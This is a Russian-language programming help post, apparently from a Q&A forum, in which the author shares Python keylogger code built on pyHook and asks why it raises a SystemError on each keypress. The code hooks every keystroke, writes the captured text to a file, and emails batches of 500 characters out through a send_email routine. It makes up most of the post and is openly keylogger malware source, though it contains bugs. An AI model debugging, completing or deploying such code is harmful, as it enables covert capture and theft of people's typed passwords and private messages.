Я пытаюсь создать простой кейлоггер с Python, который пишет в файл '.txt' и затем отправляет его по электронной почте;но когда я нажимаю любую клавишу, она показывает мне эту ошибку:
SystemError: возвратил результат с установленной ошибкой
Кто-нибудь знает, что идет не так в этом коде?
def OnKeyboardEvent(event):
global count
count += 1
#press CTRL+E for exit
if event.Ascii==5:
sys.exit(0)
if event.Ascii !=0 or 8:
#open output.txt
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
if len(buffer)==1:
send_email("Arranco...")
elif count == 500:
#Send last 500 characters
capturado = buffer[-500:].replace("\n"," ")
send_email(capturado)
count = 0
#opens output.txt writes and add new key logs
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
#if ENTER
if event.Ascii==13:
keylogs='\n'
#if blankspace
if event.Ascii==32:
keylogs=''
buffer+=keylogs
f.write(buffer)
f.close()
# creates object hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()